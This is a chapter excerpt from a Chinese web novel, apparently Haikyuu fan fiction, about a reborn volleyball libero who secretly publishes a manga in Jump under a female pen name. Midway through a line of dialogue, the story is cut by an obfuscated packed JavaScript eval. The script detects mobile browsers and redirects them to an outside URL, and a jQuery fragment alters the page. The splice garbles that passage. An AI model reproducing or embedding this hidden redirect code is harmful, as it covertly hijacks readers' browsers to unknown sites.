“伊藤有弥先生,我是周刊少年JUMP的山口。收到您的回信了。关于连载的具体事宜,希望能在电话中与您沟通。请问本周日方便吗?” 伊藤拿起手机,回复了一个字:“好。” 然后他放下手机,继续画漫画。 笔尖在纸上沙沙作响,窗外偶尔传来几声鸟叫,阳光在桌面上慢慢移动。 他画得很慢,因为他的右手腕还在隐隐作痛。但他没有停下来。 因为他有两件事要做。 成为世界第一自由人。 以及,画出世界上最棒的排球漫画。 两件事都不容易。 但他在做。 这就是他现在能做的全部。 9. 第九章 9. 五月第二周的一个早晨,伊藤有弥在教室里翻开了一本刚出版的《周刊少年JUMP》。 这是他穿越后第一次买这本杂志。 封面是当红的热血漫画主角,色彩鲜艳,标题字体粗犷有力。 他翻到目录页,在密密麻麻的标题中找到了一个陌生的名字——《第二防线》,作者:小川由里子。 他翻到那一页。 他的画。他的故事。他的分镜。 虽然编辑山口在电话里说“我们会做一些调整”,但看到成品的时候,伊藤还是愣了一下。 线条被修过了,比他的原稿流畅了许多;灰阶的层次更丰富,有些地方他本来想留白的被加上了淡淡的网点;对话框里的字体也不是他的手写字,而是标准的印刷字体。 这不是他的画了。但它又是他的画。 一种奇怪的感觉涌上来,像是自己的孩子被别人打扮了一番后抱出来给人看。 但他不讨厌。 “伊藤同学,你在看什么?” 佐佐木从旁边探过头来,看到了杂志的封面。 “《JU*P》?你也看漫画啊。”佐佐木说,“这期有什么好看的?” 伊藤下意识地把杂志合上了,动作快得有些不自然。 “没什么。”他说。 佐佐木狐疑地看了他一眼,但没有追问。 伊藤把杂志塞进书包里,耳朵尖微微泛红。 不是因为紧张,而是因为他忽然意识到一件事——从现在开始,他有了一个秘密。 一个不能让任何人知道的秘密。 小川由里子。 这是他给自己取的笔名。 编辑山口在电话里问他用什么笔名的时候,他几乎是脱口而出。 小川是他前世住过的街区附近一条河流的名字,由里子是他母亲的名字——当然,是前世的母亲。 这个名字听起来像是一个二十多岁的女性漫画家,和他这个十六岁的高中男生完全不搭边。 山口在电话那头沉默了一秒钟,大概是在想“这个投稿人怎么取了个女性笔名”,但最终什么也没说,只是把这个名字记了下来。 伊藤选择这个笔名的原因很简单:没有人会把“小川由里子”和“伊藤有弥”联系在一起。 他可以安心地画漫画,而不用担心被排球部的队友们发现。 至少他是这么想的。 《第二防线》的第一话讲的是主角——一个叫“夏川优”的自由人——加入一支弱小的高中排球部的故事。 故事的开头和伊藤投稿的短篇有些相似,但伊藤在连载版中加入了更多的人物和冲突。 主角不是孤身一人,而是有一个同样没有天赋但拼命努力的队友,有一个表面冷漠实则关心后辈的二传手,有一个脾气暴躁但扣球力量惊人的王牌。 如果仔细看,这些角色身上隐约能看到青城排球部成员的影子。 但伊藤做了足够多的改动——发型、体型、性格细节都调整过,不至于让人一眼就看出来。 第一话连载出去之后,伊藤一直不敢看读者的反应。 他前世也是这样。 每次杂志发售的那天,他都不敢去便利店看杂志架上自己的作品,不敢上网搜读者的评论,不敢和编辑讨论反响。 他只管画,画完就交给编辑,剩下的他不想知道。 但这一次,他忍不住。 午休的时候,他一个人躲在天台上,拿出手机搜索了“第二防线”和“小川由里子”。 搜索结果不多。 毕竟只是第一话,还没有什么名气。但他还是找到了一些东西——有人在论坛上发了一个帖子,标题是《这期JUMP的新连载〈第二防线〉有人看了吗?》。 帖子里的回复不多,只有十几条。伊藤一条一条地看过去。 “画功还不太行,但分镜挺流畅的。” “主角是自由人?这个设定挺新鲜的。” “故事有点老套,但我还挺吃这一套的。” “最后那格接球的画面画得好有张力,作者应该是打过排球的吧?” “小川由里子……女性作者?感觉不像是女性的画风。” “管他呢,先追几话看看。” 没有恶评。也没有爆火。就是普普通通的新连载该有的反响——有人喜欢,有人无感,有人观望。 伊藤把手机放下,靠在围栏上,长长地呼出一口气。 天台的风吹过来,带着五月的温度。 他闭上眼睛,脑海中浮现出读者们的那些评论——“作者应该是打过排球的吧”。 是的,他打过。他正在打。他每天都在打。 而且他打的位置,就是主角的位置。 自由人。 伊藤睁开眼睛,嘴角微微弯了一下。 然后他站起来,拍了拍裤子上的灰,走回了教室。 下午的部活,伊藤走进体育馆的时候,发现气氛有些不一样。 金田一正和几个二年级的队员围在一起,手里拿着一本杂志——正是他早上看的那期《周刊少年JUMP》。 “你看这个,”金田一指着杂志上的一页,对旁边的矢巾说,“这个自由人接球的姿势,是不是有点像渡前辈?” 伊藤的脚步顿了一下。 矢巾凑过来看了看,说:“嗯……手臂的角度确实有点像。但自由人接球不都差不多吗?” “不一样。”金田一说,“你看这里,他的前臂不是水平的,而是微微向下倾斜。渡前辈就是这样接的。” 伊藤站在原地,心跳加速了几拍。 他没想到金田一观察得这么仔细——他在画那一格的时候,确实是以渡接球的动作为参考的。 他以为做了足够的变形处理,但金田一还是看出了端倪。 “这个漫画很好看吗?”旁边的花卷走过来,看了一眼金田一手里的杂志。 “新连载,讲排球的故事。”金田一说,“主角是自由人,还挺有意思的。” “排球漫画?”及川不知道从哪里冒出来,一把抢过了杂志,“让我看看。” 金田一还没来得及抗议,及川已经翻到了《第二防线》的那几页。他快速地扫了一遍,然后发出了一声意义不明的“嗯——”。 “怎么样?”金田一凑过去问。 “分镜不错。”及川说,“但这个二传手的动作不对。托球的时候手腕不是这样翻的。” 伊藤站在远处,听到及川的评价,在心里默默地记下了。 下次画二传手的时候,要注意手腕的角度。 “作者叫什么?”及川问。 “小川由里子。”金田一说,“应该是女性吧?” “女性画排球漫画?”及川挑了挑眉毛,“还挺少见的。” 岩泉从旁边走过来,面无表情地说了一句:“别围在一起了,训练要开始了。” 众人这才散开,各自去做热身。 金田一把杂志塞进包里,跑向了球场。 伊藤站在原地,看着他们的背影,心跳还没有完全平复下来。 没有人知道作者是他。 金田一以为作者是女性,及川在挑剔二传手的动作,花卷只是随便扫了一眼。 没有人把这个漫画和伊藤有弥联系在一起。 他应该感到安心才对。 但不知道为什么,他有一点点失落。 只是一点点。 训练开始了。 今天的内容是发球和接发球的专项训练,正选阵容和替补阵容分开练习。 伊藤作为自由人替补,站在替补阵容的后排,负责接发球。 对面发球的是矢巾秀——他的发球不算快,但变化很多,跳发、跳飘、普通发球轮番使用,节奏很难把握。 伊藤连续接了五个发球,全部成功送到二传手的位置。 “伊藤,你今天的状态很好啊。”矢巾说。 “嗯。”伊藤点了点头,没有多说什么。 但他的状态确实好。 不是因为别的,而是因为今天早上看到了自己的漫画印在杂志上,那种感觉像是给他的身体注入了一股奇怪的能量——不是兴奋,不是紧张,而是一种“我正在做两件重要的事”的充实感。 他打排球,他画漫画。两件事都是他真正想做的。 这种想法让他的注意力比平时更加集中。 及川在场边观察了一会儿,走到伊藤旁边。 “伊藤君,你接发球的时候,脚步是不是太稳了?”及川说。 伊藤愣了一下。 “太稳了?”他重复了一遍。 “对。”及川说,“你总是在球落地之前就站定了位置,然后用上半身去接球。这样虽然稳定,但你的身体重心会变得很死,万一球的轨迹发生变化,你来不及调整。” 伊藤想了想,觉得及川说得有道理。他太追求“站稳了再接”了,以至于忽略了身体的灵活性。 “应该怎么做?”伊藤问。 “保持脚步的微动。”及川说,“不要站死,让脚掌一直保持轻微的活动,这样你的身体才能随时根据球的方向调整。” 伊藤试着按照及川说的去做。 他的脚掌在地板上轻微地移动着,身体的重心在小范围内不断调整。第一个发球过来的时候,他下意识地又想站定,但他忍住了,让脚步继续微动。 球砸在他的前臂上,弹起来,飞向了二传手的位置。 弧线比平时更高了一些,方向也有些偏。但伊藤感觉自己的动作比以前更流畅了——那种“流动”的感觉,是他从未体验过的。 “就是这样。”及川说,“继续保持。” 伊藤连续接了十几个发球,每一个都保持着脚步的微动。 他的送球到位率最初有所下降,但很快就恢复到了平时的水平,甚至略有提升。 渡在旁边看着,没有说话。 但伊藤注意到,渡在训练结束后也改变了接发球时的脚步——他开始像伊藤一样保持脚步的微动,不再站死了等球。 两个人都在进步。 而他们的进步,都在推动着对方变得更强。 训练结束后,更衣室里充满了汗水的味道和嘈杂的说话声。 金田一又拿出了那本《JUMP》,翻到《第二防线》的那几页,津津有味地看了第二遍。 “伊藤,你看过这个吗?”金田一朝伊藤晃了晃杂志。 伊藤正在换衣服,动作停了一下。 “……没有。”他说。 “真的很好看!”金田一说,“主角是一个自由人,跟你一样!你可以看看,说不定能学到点什么。” 伊藤沉默了一秒钟,然后说:“好,我回去看看。” 他说这句话的时候,耳朵尖红了。 但更衣室的灯光昏黄,没有人注意到。 国见从旁边走过来,看了一眼金田一手里的杂志,淡淡地说了一句:“画功一般。” “但故事好啊!”金田一反驳道。 国见没有接话,转身去收拾自己的东西了。 伊藤低下头,继续换衣服。 他的嘴角微微弯了一下——国见说画功一般,他同意。 他的画功确实还有很大的提升空间,这一点他自己最清楚。 但金田一说故事好。 故事好就够了。 画功可以慢慢练,但故事的核心——那种想要传达的东西——如果对了,其他问题都可以克服。 伊藤换好衣服,背上书包,走出了更衣室。 在走廊里,他遇到了及川。 及川正在和岩泉说话,看到伊藤出来,朝他招了招手。 “伊藤君,今天的训练感觉怎么样?” “还不错。”伊藤说。 “你的接发球进步很快。”及川说,“渡今天也改了接发球的脚步,应该是看到你练了之后自己也在练。” 伊藤没有说话。 “你们两个互相竞争,对青城来说是好事。”及川说,语气比平时认真了很多,“自由人这个位置,有竞争才有进步。” “我知道。”伊藤说。 及川拍了拍他的肩膀,然后和岩泉一起走了。 伊藤站在走廊里,看着他们的背影消失在转角处。 他想起了今天金田一说的那句话——“主角是一个自由人,跟你一样!” 其实主角的原型就是他自己。 或者说,是他想成为的那种自由人——冷静、坚韧、永远站在后排的最深处,用接球为球队创造机会。 夏川优。 那个角色在故事中也是一个替补自由人,正在为了成为正选而努力。 和伊藤一模一样。 周五晚上,伊藤接到了编辑山口的电话。 “伊藤先生——不,小川老师,第一话的反响不错哦。”山口的声音听起来很年轻,大概三十出头,语气里带着一种编辑特有的热情,“读者问卷调查的排名在第12位,对于新连载来说是非常好的成绩了。” 伊藤拿着手机,不知道该说什么。 前世他的新连载通常在第20名左右徘徊,第12名是他从未达到过的高度。 “所以编辑部决定,第二话的篇幅从16页增加到19页。”山口说,“您能应付吗?” 伊藤看了看书桌上已经画好的第二话分镜——18页,离19页只差1页。 他本来打算画16页的,但不知不觉就多画了2页。 现在要增加到19页,他只需要再补1页就够了。 “可以的。”伊藤说。 “太好了!”山口说,“对了,小川老师,您真的只有十六岁吗?” 伊藤沉默了一秒钟。 “是的。”他说。 “高中生漫画家啊……”山口感叹了一声,“编辑部这边会帮您保密的。您也不用担心,我们会以‘小川由里子’的身份对外发布所有信息,不会暴露您的真实身份。” “谢谢。”伊藤说。 “不过,您画排球漫画,是因为您自己打排球吗?” 伊藤又沉默了一秒钟。 “嗯。”他说。 “难怪。”山口说,“那些接球的分镜,没有实际打过排球的人是画不出来的。以后也请保持这种真实感!” 电话挂断后,伊藤坐在书桌前,看着桌上铺开的原稿纸。 第二话的分镜已经画好了,只差最后一页。 他拿起G笔尖,蘸了墨,开始画。 这一页的内容是主角夏川优在训练结束后一个人加练的场景。 他对着墙接球,一遍又一遍,手臂红肿了也不停下来。 这是伊藤自己的经历。 他把那些感受——孤独、疲惫、但又不愿意停下——全部画进了这一格里。 他画得很慢,因为他在回忆。 回忆前世的自己。 回忆那些一个人对着墙接球的夜晚。 回忆那些不知道为什么要继续但还是继续了的日子。 画完之后,他在那一格的旁边写下了一行小字:“因为喜欢,所以无法放弃。” 这不是夏川优的台词,这是伊藤自己的。 他把原稿收好,放进信封,准备明天寄给山口。 然后他躺到床上,闭上了眼睛。 脑海中浮现出很多画面。 及川跳发球的姿势,岩泉扣球时的表情,渡接球时的手臂角度,金田一笑着说“你真的好厉害”的样子,国见面无表情但精准命中角落的吊球,京谷说“明天继续”时的背影。 还有那些读者们的评论——“作者应该是打过排球的吧?” 是的,他打过。他正在打。 伊藤翻了个身,把被子拉到下巴。 明天还有晨练。 还要跑五公里。还要接一百个球。 他嘴角弯了一下,然后沉入了梦乡。 周六早上,伊藤在便利店买了一盒牛奶和一份《宫城体育报》。 报纸的角落里有一篇关于IH预选赛的预告文章,标题是《青叶城西,及川彻最后的机会》。 文章不长,但把及川描写成了一个“悲情英雄”——拥有宫城县最强的二传技术,却始终无法突破白鸟泽的高墙,今年是他的最后一年,也是青城最有希望的一年。 伊藤把报纸折好,放进口袋。 他知道今年春高青城会输给乌野,连白鸟泽的面都见不到。 但他说不出来。他只能看着及川和岩泉带着希望走进赛场,然后带着遗憾离开。 这种感觉很不好受。 但这不是他能改变的事情。 他唯一能做的,就是让自己变得更强,强到有一天能够改变故事的走向。 但那一天不是今天。 今天他要去体育馆参加训练。 伊藤喝完牛奶,把空盒扔进垃圾桶,然后走向学校。 体育馆里已经有不少人了。 金田一和国见正在做拉伸,矢巾在练习托球,京谷一个人对着墙扣球——球砸在墙上的声音震得整个体育馆都在嗡嗡响。 及川和岩泉还没有来。 渡已经在场上了,正在做手腕的热身。 伊藤换好衣服,走到场上,开始做自己的热身。 他的热身流程已经形成了一套固定的顺序——从头到脚,从静态拉伸到动态拉伸,最后是脚步移动的激活训练。 “伊藤。”渡叫了他一声。 伊藤转过头。 “今天晨练之前,先做一组移动反应训练。”渡说,“你跟我一起做。” “好。” 两个人站到球场的两端,开始了移动反应训练。 渡站在网前,随机指向场地的不同位置,伊藤需要以最快的速度移动到那个位置,用手触摸地板,然后回到原位。 前几次伊藤的反应慢了半拍,渡的指令变化太快,他跟不上。 但几次之后,他开始预判渡的指向规律——渡似乎喜欢先从左边开始,然后突然转向右边,再回到中间。 第五次的时候,伊藤在渡的手指刚抬起来的瞬间就移动了。 渡的手指定在了右边的角落,伊藤已经跑到了那个位置。 渡看了他一眼,没有说话,但嘴角微微弯了一下。 两个人练了大概二十分钟,及川和岩泉才走进体育馆。 “迟到。”岩泉看了一眼手表,对及川说。 “及川前辈是为了让你们多练一会儿才故意晚来的。”及川笑着说。 岩泉没有理他,换好衣服就上了场。 今天的训练内容是实战对抗——正选阵容对替补阵容,三局两胜。 这是IH预选赛前的最后一次队内练习赛,教练希望通过这场比赛确定最终的轮换阵容。 伊藤作为替补阵容的自由人首发出场。 对面的正选阵容和上次练习赛一样——及川、岩泉、松川、花卷、京谷、渡。这是青城目前最强的六人组合。 比赛开始。正选阵容先发球。 及川站在底线后,手里转着球。 他的表情比平时更严肃,眼神里带着一种只有在正式比赛中才会出现的锐利。 “伊藤君,今天不会手下留情哦。”及川说。 伊藤蹲低身体,双手前伸。 及川抛球,助跑,起跳。 他的跳发球比平时更快、更重,球带着剧烈的旋转飞向替补阵容的后场左侧。 伊藤移动,右脚直接跨出,前臂迎球。 球砸在他的手臂上,冲击力比他预想的要大——他的手臂被弹开了一点,球飞向了场地的右侧。 矢巾追上了球,勉强托给金田一。 金田一扣球,球被松川拦了回来。 替补阵容失分。 “好球。”及川自言自语地说了一句,不知道是在说自己的发球还是在说伊藤的接球。 及川连续发了三个球,每一个都比前一个更刁钻。 伊藤接起了三个,但只有第一个送球到位,后两个都出现了偏差。 及川的第四个发球出界了。 发球权转移到了替补阵容这边。 伊藤站在后排,深吸了一口气。及川今天的发球状态太好了,他需要调整自己的判断。 替补阵容的发球轮次没有持续太久。 正选阵容很快又拿到了发球权,这一次发球的是京谷。 京谷的跳发球力量和速度都比及川更强,但控制精度稍逊。 他的第一个发球直接飞出了底线,第二个发球擦网后落在了界内——但伊藤没有接到,因为球擦网后改变了方向,他的判断出现了误差。 第三个发球,伊藤终于接了起来。 球送到了矢巾的位置,矢巾托给国见,国见扣球得分。 “好接!”金田一大喊。 伊藤没有回应,只是回到了自己的位置。 第一局,替补阵容以17比25落败。 但伊藤的个人数据比上次练习赛有所提升——接发球成功率百分之八十五,防守起球率百分之七十二。 “伊藤,你今天接及川的发球比上次好了很多。”矢巾在局间休息时说。 “因为上次手腕肿了。”伊藤说。 矢巾笑了一下,没有再说。 第二局,伊藤继续上场。 正选阵容在这一局换了战术。 及川开始更多地使用跳飘球,而不是大力跳发。 跳飘球的轨迹不稳定,判断落点比大力跳发难得多。 伊藤的第一个跳飘球判断失误了。 球飘向了左边,他往右边移动了一步,等他发现不对再调整方向的时候,已经来不及了。 球落地了。 “判断再早一点。”渡在场边喊了一声。 伊藤深吸了一口气,调整了自己的站位。 他把重心压得更低,目光死死地盯着及川的手腕。 第二个跳飘球。 及川出手的瞬间,伊藤注意到了他的手腕角度——和大力跳发时不同,他的手腕在击球的瞬间有一个轻微的“推”的动作。这意味着球会飘。 伊藤没有急着移动。 他在球过网之后才判断出了大致的落点范围,然后快速移动过去。 球飘到了他预判的位置。他接了起来,送球到位。 第三个、第四个、第五个。 伊藤连续接起了三个跳飘球,每一个都送到了矢巾的位置。 及川站在网对面,看着伊藤,露出了一个满意的笑容。 “伊藤君,你学得很快。” 第二局,替补阵容以20比25落败。 但替补阵容拿到了二十分——比第一局多了三分。 伊藤在后排的防守贡献了关键的作用。 比赛结束后,双方队员互相击掌。 渡走到伊藤面前,伸出手。 “你今天接飘球的判断进步了。”渡说。 “因为你教了我手腕的角度。”伊藤说。 渡点了点头,没有再说别的。 及川从旁边走过来,一把搂住了伊藤的肩膀。 “伊藤君,你今天让及川前辈很没面子啊。”及川笑着说,“我的跳飘球被你接起了那么多个。” “对不起。”伊藤说。 “不要道歉。”及川收起了笑容,“你应该高兴才对。你做到了很多一年级做不到的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454777|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。” 伊藤低下头,不知道该说什么。 “不过,”及川拍了拍他的肩膀,“你还是没有赢渡。” 伊藤抬起头,看着及川。 “所以你要继续努力。”及川说,“等你能赢渡的那一天,正选就是你的了。” 伊藤看着及川的眼睛,点了点头。 训练结束后,伊藤照例留下来加练。 今天和他一起加练的人是京谷。 “来。”京谷只说了一个字,就站到了网前。 伊藤走到后排,蹲低身体。 京谷扣球。不是练习赛中的那种全力扣杀,而是有控制的力量和角度。 他在帮伊藤练接球——不是单纯地测试伊藤的极限,而是在训练伊藤的预判和反应。 “今天的发球,你接得不错。”京谷一边扣球一边说。 “嗯。”伊藤接起了一个斜线扣球。 “但你的脚步还是太死了。”京谷说,“及川说的没错,你要保持微动。” “我在练。”伊藤又接起了一个。 “练得不够。” 伊藤没有说话,继续接球。 京谷扣了三十个球,伊藤接起了二十六个,送球到位十八个。 “比上周好了。”京谷说,然后拿起毛巾擦了擦汗,“明天继续。” “好。” 两个人走出体育馆的时候,天已经黑了。 京谷走在前面,步伐很快,伊藤跟在后面,步伐慢一些。 走到校门口的时候,京谷忽然停下来,头也不回地说了一句:“那个漫画,《第二防线》,你看过吗?” 伊藤的脚步顿了一下。 “……看过。”他说。 “那个自由人的接球动作,很像你。”京谷说。 伊藤的心脏猛地跳了一下。 “是吗?”他说,努力让自己的声音听起来平静。 “嗯。”京谷说,“但那个作者应该不是打排球的。有些细节不对。” 说完,京谷就大步流星地走了。 伊藤站在原地,看着京谷的背影消失在黑暗中。 京谷说那个自由人的接球动作很像他。 京谷说那个作者应该不是打排球的。 两句话都对。也都错。 伊藤站了一会儿,然后继续往家走。 周日,伊藤没有去学校。他待在家里画漫画。 第三话的分镜他已经构思好了——主角夏川优在队内练习赛中第一次作为自由人首发出场,面对强敌的高压发球,他紧张到手臂发抖,但最终还是接起了最关键的一球。 这一话的核心是“恐惧与勇气”。 伊藤想把那种站在球场上、面对强大对手时的心理状态画出来——不是夸张的热血,而是一种真实的、细微的颤抖,以及在这种颤抖中仍然选择站直身体的勇气。 他画得很慢。因为他在回忆。 回忆前世第一次作为正选自由人出场比赛时的感受。 那时候他站在场上,腿在发抖,手心全是汗,大脑一片空白。 但当第一个球朝他飞过来的时候,他的身体先于大脑做出了反应——他接起来了。 那种“身体记得该怎么做”的感觉,是他对排球最深的记忆之一。 伊藤画了一整天,直到窗外的光线变成橘红色,才放下笔。 他活动了一下僵硬的脖子,看着桌上铺开的原稿纸——一共十四页,还差两页才能完成这一话。 他打算吃完晚饭后继续画。 手机震动了一下。是山口发来的邮件。 “小川老师,第二话的原稿已经收到了。分镜非常棒,尤其是加练的那一页,接球的角度画得很精准。期待第三话!” 伊藤回复了一个“收到”,然后把手机放到一边。 他站起来,走到厨房,煮了一碗方便面。 面汤的热气模糊了他的视线,他一边吃一边想着第三话剩下的两页该怎么画。 吃完面,他洗了碗,回到书桌前,继续画。 窗外,月亮升起来了。 月光透过窗帘的缝隙照进来,落在原稿纸上,和他的墨线交织在一起。 伊藤画到凌晨一点,终于画完了第三话的全部原稿。 他伸了个懒腰,把原稿收好,然后躺到床上。 系统提示音忽然响了起来。 “叮——支线任务完成:在队内练习赛中完成十次有效防守。奖励已发放。” 伊藤打开系统面板。 技术:4.8(+0.1) 速度:4(+0) 力量:2(+0) 跳跃:2(+0) 爆发力:3(+0) 智力:5(+0) 技术又涨了0.1。很慢,但确实在涨。 伊藤关掉面板,闭上了眼睛。 周一早上,伊藤走进教室的时候,发现自己的课桌上又多了一张纸条。 他拿起来看了一眼,上面写着:“伊藤同学,你认识小川由里子吗?——二年三班田中” 伊藤愣了一下。 小川由里子。他的笔名。 有人开始在打听这个作者了。 他把纸条折好放进口袋,坐下来,拿出课本。 佐佐木从旁边探过头来:“今天又有人给你传纸条?” “嗯。” “写的什么?” “没什么。” 佐佐木撇了撇嘴,没有再问。 第一节课是现代文。 伊藤今天没有睡觉,也没有画画。 他坐在座位上,手里握着笔,在笔记本的空白处写下了一行字:“小川由里子——没有人知道是我。” 他盯着那行字看了一会儿,然后划掉了。 下课后,他去了一趟图书馆。 不是因为要借书,而是因为他听说图书馆里有《周刊少年JUMP》。 他想看看自己的漫画在图书馆里是什么样子——是不是被人翻得皱巴巴的,还是崭新如初。 他在杂志架上找到了那期《JUMP》。 杂志被翻了很多次,页角有些卷起来了。 他翻到《第二防线》的那几页,发现有一个读者在页边用铅笔写了一行小字:“这个作者一定打过排球!” 伊藤看着那行字,嘴角弯了一下。 然后他把杂志放回架子上,走出了图书馆。 走廊里,他遇到了金田一和国见。 “伊藤!”金田一跑过来,“你看《第二防线》的最新一话了吗?” “……还没有。”伊藤说。他确实还没有看到杂志上的成品——他画的是原稿,不是印刷品。 “这一话超级好看!”金田一说,“主角在练习赛上场的那个部分,我看了三遍!那个紧张到手抖但还是把球接起来的画面,画得太真实了!” 伊藤低下头,耳朵尖红了。 “你怎么脸红了?”金田一疑惑地看着他。 “有点热。”伊藤说。 “热吗?”金田一看了看走廊里开着的窗户,“风挺大的啊。” 国见在旁边面无表情地说了一句:“走吧,要上课了。” 金田一这才没有追问,跟着国见走了。 伊藤站在原地,深深地呼出一口气。 好险。 周三,伊藤收到了编辑山口寄来的快递。 里面是《第二防线》第一话的读者调查问卷的详细数据。 总票数三百七十二票,非常好、比较好、一般、不太好、很差的比例分别是:22%、45%、25%、5%、3%。 “非常好”和“比较好”加起来接近七成。 对于新连载来说,这是一个相当不错的数据。 山口在附信中说:“读者反馈中,最受好评的是主角加练的那一页。很多读者说‘看哭了’。小川老师,您真的很擅长画这种安静但有力的场景。” 伊藤把信折好,放进抽屉里。 他想起画那一页时的感受——那些回忆、那些情绪、那些“为什么还要继续”的自问自答。 他没有刻意去煽情,他只是把自己真实经历过的东西画了出来。 读者看哭了。 但他没有。 他在画的时候已经哭过了。 周五,距离IH预选赛还有一周。 排球部的训练进入了最后的调整阶段。 教练减少了体能训练的量,增加了战术演练和实战对抗。 正选阵容的配合越来越默契,替补阵容也在努力模拟各个对手的战术。 伊藤作为自由人替补,这周的训练重点是模拟白鸟泽的自由人。 白鸟泽的自由人以防守范围大著称,伊藤需要在训练中尽可能地模仿他的移动习惯和防守站位,让正选阵容提前适应。 “伊藤,你今天模拟的是谁?”及川在训练间隙问他。 “白鸟泽的自由人。”伊藤说。 “那你要再凶一点。”及川说,“白鸟泽的自由人防守很有进攻性的的,他会压到前排附近来防守。” 伊藤调整了自己的站位,往前压了将近一米。 他的防守范围缩小了,但防守强度提升了——因为他离网更近了,扣球的速度更快,反应时间更短。 正选阵容的扣球开始更多地落在他的防守区域内。 他接起了一个又一个,虽然送球到位率有所下降,但他成功地让正选阵容感受到了白鸟泽自由人的压迫感。 “不错。”岩泉在训练结束后说了一句。 伊藤擦了擦汗,回到了场边。 渡走过来,递给他一瓶水。 “你模拟白鸟泽自由人的时候,站位太靠前了。”渡说,“白鸟泽的自由人虽然会往前压,但他不会压到那个位置。他会保留一些后退的空间,以防吊球。” 伊藤想了想,觉得渡说得对。他模拟得太极端了,反而失真了。 “明天我会调整。”伊藤说。 渡点了点头,转身走了。 训练结束后,伊藤没有加练。 因为明天就是IH预选赛前的最后一个训练日,教练要求所有人充分休息,不要过度消耗体力。 他收拾好东西,走出了体育馆。 天还没有黑。 五月的傍晚,天空是淡淡的橘色,云层很低,像是一床薄薄的棉被盖在城市的头顶上。 伊藤走在回家的路上,脑子里想着很多事情。 一周后的IH预选赛。 他作为自由人替补,大概率不会上场。 但他还是要做好准备——万一机会来了,他必须抓住。 漫画的第三话已经交了,第四话的分镜还没有开始画。 他需要在这周末把分镜赶出来,否则赶不上截稿日。 还有成绩。 虽然他现在是年段第十二名,但如果不听课的话,下次考试可能会掉下去。 他不想让老师们觉得他只是一个“睡觉也能考好”的怪胎。 很多事。 但他不觉得累。 因为他做的每一件事,都是他想做的。 伊藤加快脚步,往家的方向走去。 路过便利店的时候,他又看到了那张海报——“全国高校排球选手权大会宫城县预选赛 5月开幕”。 还有一周。 他看着那张海报,站了几秒钟。 然后他推开便利店的门,买了一盒牛奶和一袋面包。 收银台的阿姨笑着对他说:“加油哦。” 伊藤愣了一下,然后点了点头。 “谢谢。” 他走出便利店,拿着牛奶和面包,走进了宫城县五月的傍晚里。 10. 第十章 10. 五月十九日,IH宫城县预选赛开幕。 这是伊藤有弥穿越后迎来的第一场正式比赛。 清晨六点,他就睁开了眼睛。 不是因为闹钟——今天是比赛日,排球部上午没有晨练,但他在五点四十五分就自己醒了。 窗外的天刚亮,灰蓝色的光线透过窗帘的缝隙落在天花板上,像一条细细的河流。 他躺在床上,盯着那条光看了几秒钟,然后坐了起来。 今天他不会上场。他知道。自由人位置有渡亲治,他是二年级的正选,经验丰富,技术稳定,没有任何理由在IH预选赛的第一轮把一个一年级新人换上去。 但伊藤还是把运动服叠得整整齐齐塞进背包,护膝、护腕、毛巾、水瓶一样不落地检查了两遍。 他把青城排球部的队服穿在身上,对着镜子整理了一下领口。 镜子里的少年表情平静,但眼神里有一种他自己都说不上来的东西——不是紧张,不是兴奋,而是一种“准备好了”的感觉。 即使不会上场,他也想坐在离球场最近的地方,看每一个球,记下每一个细节。 这是他的习惯。 前世如此,现在也如此。 他走出家门的时候,街道上已经有不少穿着校服的学生了。 今天是周五,但大部分学校都因为预选赛而调整了课程安排,整个宫城县的运动社团都集中在各个赛场上。 体育馆外已经聚集了青城排球部的队员,金田一在人群中格外显眼——他的头发今天比平时翘得更厉害,像是刚起床还没打理过的样子。 国见站在他旁边,表情一如既往地淡漠,手里拿着一盒牛奶,慢悠悠地喝着。 及川从大巴上走下来的时候,周围的学生们发出了一阵骚动。 他今天把头发打理得很整齐,运动服拉链拉到最顶端,整个人看起来比平时多了一种“正式比赛模式”的锐利感。 岩泉走在他后面,肩上挎着一个巨大的运动包,表情严肃,像是在脑子里过战术。 “伊藤君,今天你要好好看。”及川经过伊藤身边的时候,拍了拍他的肩膀,语气比平时认真了很多,“第一次正式比赛,多学一点。” “好。”伊藤说。 渡走过来的时候,伊藤抬起头看了他一眼。 渡的表情很平静,看不出任何紧张。 他经过伊藤身边,没有停下来,但低声说了一句:“板凳上也要做好准备。” 伊藤点了点头。 这句话的意思是:虽然你今天不会首发,但万一有机会,你必须在第一时间上场。 这不是承诺,不是预告,只是一个自由人对另一个自由人的提醒——比赛场上什么都有可能发生。 体育馆里的看台坐满了人。 青城的学生们举着应援横幅,上面写着“制霸球场”四个大字。 这是青城排球部的口号,岩泉每次训练结束都会喊一遍,伊藤已经听了几十遍,但今天看到横幅挂在看台上的时候,他才真正感受到那几个字的分量。 条善寺高校的队员已经在场上了。 伊藤从替补席上看过去,目光落在对面半场的每一个球员身上。 他在脑海中快速检索着前世的记忆——条善寺高校,宫城县的一支特色鲜明的队伍。 这支队伍的建队历史可以追溯到几年前,当时球队的风格还是稳健保守,但在照岛游儿这一届入学后,整个球队的风格发生了彻底的转变。 现在的条善寺,是一支以“玩乐”为信条的“祭典”队伍。 他一个一个地看过去。 站在网前中间位置、正在和队友说笑的奶油色头发的男生——照岛游儿。 条善寺的主将、王牌主攻手,身高一百七十七点二厘米,最高跳跃点三百二十七厘米。 奶油色的短发,两侧剃短,左耳上戴着耳钉,说话时隐约能看到舌头上的舌钉。 他的表情看起来完全不像是马上要打比赛的样子,更像是一个来游乐园玩的游客,笑嘻嘻的,东张西望,时不时跟旁边的队友开几句玩笑。 伊藤记得照岛游儿的风格。 不是那种循规蹈矩的扣球,而是充满自由创意和即兴发挥的攻击。 他会模仿对手的招式,会在比赛中尝试自己从来没练过的打法,会把排球当成一场游戏来玩。 站在照岛旁边的那个高个子——母畑和马。 身高一百八十五点九厘米,中间拦网手,最高跳跃点三百二十五厘米。 他和照岛一样是二年级,也是队里最爱开玩笑的人之一。 